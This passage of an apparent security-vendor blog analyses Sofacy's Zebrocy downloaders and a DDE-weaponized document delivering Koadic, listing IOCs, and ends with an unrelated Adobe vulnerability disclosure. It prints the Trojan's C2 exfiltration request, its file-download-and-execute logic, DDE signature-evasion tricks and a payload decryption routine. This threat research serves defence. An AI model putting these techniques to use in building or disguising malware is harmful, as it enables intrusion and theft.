115fd8c61… was another Zebrocy sample we were able to pivot from by gathering additional samples connecting to its C2 86.106.131[.]177. The additional samples targeted the same large Central Asian nation state as previously mentioned but more interestingly, one of the samples was a weaponized document also leveraging DDE and containing a non-Zebrocy payload. The payload turned out to be an open source penetration test toolkit called Koadic. It is a toolkit similar to Metasploit or PowerShell Empire and is freely available to anyone on Github.
figure6

Figure 6 Example of delivery document

The RTF document (8cf3bc2bf...) was very small in size at 264 bytes, which can be seen in its entirety here:

The contents above use the DDE functionality in Microsoft Word to run a PowerShell script to download the Koadic payload from a remote server, save it as an executable file on the system and then execute the payload.

Conclusion
The Sofacy group continues their targeted attack campaigns in 2018. As mentioned in this blog, Sofacy is carrying out parallel campaigns to attack similar targets around the world but with different toolsets. The Zebrocy tool associated with this current strain of attacks is constructed in several different forms based on the programming language the developer chose to create the tool. We have observed Delphi, AutoIt, and C++ variants of Zebrocy, all of which are related not only in their functionality, but also at times by chaining the variants together in a single attack. These attacks are still largely perpetrated via spear phishing campaigns, whether via simple executable attachments in hopes that a victim will launch the file to using a previously observed DDE exploitation technique.
Palo Alto Networks customers are protected from Zebrocy and Koadic attacks by:

  • All known Zebrocy samples have a malicious verdict in WildFire
  • AutoFocus customers can track this campaign with the following Tags:

Appendix
Zebrocy C++ Variant
On February 19, 2018, we saw a spear phishing email sent to a foreign affairs organization within a Central Asian country, which attempted to delivered an attached Zebrocy downloader (5b5e80f63...) written in the Delphi programming language. This downloader obtained a second downloader, which in this case was very similar in functionality but was written in C++ instead of Delphi.
This variation of the Zebrocy downloader begins by gathering the serial number for the storage volume with the label "C:\" and the computer name. It then creates an invisible window (0x0 pixel) in the bottom right corner of the screen, which will call the main function of the Trojan.
The main function of the Trojan interacts with its configured C2 server to obtain additional code to execute. The main function gets pertinent strings to communicate with its C2 by calling a sub-function with a specific number that the sub-function uses as a case within a switch statement to decrypt the desired string. For instance, here are the resulting decrypted strings from each of the case statements (dd7e69e1...):
Case - String decrypted
1 - 185.25.50[.]93
2 - POST http://185.25.50[.]93/syshelp/kd8812u/protocol.php HTTP/1.1\r\nHost: 185.25.50[.]93\r\nContent-Type: application/x-www-form-urlencoded\r\nContent-Length:
3 - porg=
4 - Content-Length:
The Trojan uses raw sockets to communicate with its C2 server and uses the decrypted string above to create HTTP requests. It starts by calling this specific sub-function with an argument of 1 to get the IP address for the C2 to connect. It then calls the subfunction with the argument of 2 to get the string that it will use as the HTTP POST request. The main function then calls the subfunction with the argument 3 to get the POST data parameter (“porg”) along with the volume serial number and computer name and will send this data to the C2 via the HTTP POST request. The resulting HTTP POST request looks like the following:
POST http://185.25.50[.]93/syshelp/kd8812u/protocol.php HTTP/1.1
Host: 185.25.50[.]93
Content-Type: application/x-www-form-urlencoded
Content-Length: 21
porg=44908AE0524f422d
We have not seen a C2 server respond to our requests during our analysis, however, we do know how the Trojan will parse the C2's response for specific data.
-1 - Deletes the buffer and exits the Trojan.
009 - Deletes the buffers and exits the Trojan.
If neither of the above values are found at the beginning of the HTTP response, the Trojan checks the C2 response for the ASCII representation of hexadecimal bytes. The Trojan will convert these hexadecimal bytes to their binary values and write them to a file and will run the file using the "open" function using the ShellExecuteW API function.
We have seen the following HTTP POST parameters within the Zebrocy C++ samples:
porg
structOne
oq
volume
DDE Details
The author of the DDE document used in the February 2018 attacks used some obfuscation techniques in an attempt to evade detection. First, the DDE instructions heavily rely on the QUOTE field, which converts decimal values to their ASCII equivalent character. Also, the author capitalized the “E” in the “dde” command to evade case sensitive signatures. Lastly, the author bolded the “dd” characters within the “dde” command, which breaks the string up within the XML of the DOCX file (word/document.xml) to make signature development difficult, as seen here:

In addition to the aforementioned DOCX file, we found another related DDE enabled document  based on an infrastructure overlap with a Zebrocy C2 IP address. This related delivery document was an RTF file that downloaded and installed a payload used to load the open-source Koadic tool. We do not have telemetry on the target or attack vector, but we know the RTF file used DDE to download and execute an executable that loaded Koadic.
The payload (abbad7acd...) is an executable that appears to have been created by a VBScript to Executable tool and further obfuscated with a cryptor. Our analysis shows some possible ties to the Vbs to Exe tool by F2KO Software but we have yet to confirm a direct overlap. We believe the actor used a cryptor on the payload, as it obtains a filename and script from within its resources and decodes these resources by multiplying each byte by negative one. The payload then uses the MD5 hash (14331d289e737093994395d3fc412afc) of what appears to be a hardcoded SHA1 hash (B6A75B1EF701710D7AEADE0FE93DE8477F3BD506) as an RC4 key to decrypts the resulting decoded data. For instance, the following data exists within a resource:
fb 70 b0 c9 bd c5 8a d4 0c 54 fd 4c 6d bb f0 0f
By multiplying each byte with -1, we obtain the following data:
05 90 50 37 43 3b 76 2c f4 ac 03 b4 93 45 10 f1
After using RC4 and the key 14331d289e737093994395d3fc412afc, the following cleartext data appears:
\x00\x00\x00\x00FlashRun.vbs
We do not see the payload using this FlashRun.vbs filename, instead it uses a temporary file name to store an embedded VBScript file, such as %Temp%\4.tmp\5.vbs. The embedded VBScript is retrieved from a resource and decrypted using the same algorithm as discussed above, which results in the following cleartext:

The Koadic C2 server will respond to this request with Javascript code that acts as the Koadic staging payload, which allows the actor to run additional Koadic modules on the end system to carry out their post-exploitation activities. Unfortunately, we did not observe the Koadic modules used by Sofacy during out analysis.

IOCs

Domain

supservermgr[.]com

URL

hxxp://supservermgr[.]com/sys/upd/pageupd.php

Zebrocy

d697160aecf152a81a89a6b5a7d9e1b8b5e121724038c676157ac72f20364edc
cba5ab65a24be52214736bc1a5bc984953a9c15d0a3826d5b15e94036e5497df
25f0d1cbcc53d8cfd6d848e12895ce376fbbfaf279be591774b28f70852a4fd8
115fd8c619fa173622c7a1e84efdf6fed08a25d3ca3095404dcbd5ac3deb1f03
f27836430742c9e014e1b080d89c47e43db299c2e00d0c0801a2830b41b57bc1
5b5e80f63c04402d0b282e95e32155b2f86cf604a6837853ab467111d4ac15e2
dd7e69e14c88972ac173132b90b3f4bfb2d1faec15cca256a256dd3a12b6e75d

Koadic

abbad7acd50754f096fdc6551e728aa6054dcf8e55946f90a02b17db552471ca

User Agents

Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 1.1.4322; .NET CLR 2.0.50727; .NET CLR 3.0.04506.30; .NET CLR 3.0.04506.648; InfoPath.1)

Mozilla/5.0 (Windows NT 6.1; WOW64) WinHttp/1.6.3.8 (WinHTTP/5.1) like Gecko

Mozilla v5.1 (Windows NT 6.1; rv:6.0.1) Gecko/20100101 Firefox/6.0.1

IPs

185.25.51[.]198
185.25.50[.]93
220.158.216[.]127
92.114.92[.]102
86.106.131[.]177

DDE Docs

85da72c7dbf5da543e10f3f806afd4ebf133f27b6af7859aded2c3a6eced2fd5
8cf3bc2bf36342e844e9c8108393562538a9af2a1011c80bb46416c0572c86ff

Unit 42 Vulnerability Research May 2018 Disclosures – Adobe

As part of Unit 42’s ongoing threat research, we can now disclose that Palo Alto Networks Unit 42 researchers have discovered a vulnerability addressed by the Adobe Product Security Incident Response Team (PSIRT) as part of their May 2018 security update release.

CVE Vulnerability Name Affected Products Maximum Severity Rating Impact Researcher(s)
CVE-2018-4959 Use-after-free Adobe Acrobat and Reader Critical Arbitrary Code Execution Gal De Leon
CVE-2018-4961 Use-after-free Adobe Acrobat and Reader Critical Arbitrary Code Execution Gal De Leon
CVE-2018-4958 Use-after-free Adobe Acrobat and Reader Critical Arbitrary Code Execution Hui Gao
CVE-2018-4983 Use-after-free Adobe Acrobat and Reader Critical Arbitrary Code Execution Hui Gao

Palo Alto Networks customers who deploy our Security Operating Platform are protected against exploitation of these vulnerabilities through multi-layered preventions. Our Threat Prevention service provides application control and intrusion prevention on the network, while WildFire provides customers with comprehensive protection and automatic updates against previously unknown threats. Traps advanced endpoint protection stops exploits on the endpoint and coordinates enforcement with cloud and network security.
Palo Alto Networks is a regular contributor to vulnerability research in Microsoft, Adobe, Apple, Google Android and other ecosystems. By proactively identifying these vulnerabilities, developing protections for our customers, and sharing the information with the security community, we are removing weapons used by attackers to threaten users, and compromise enterprise, government, and service provider networks.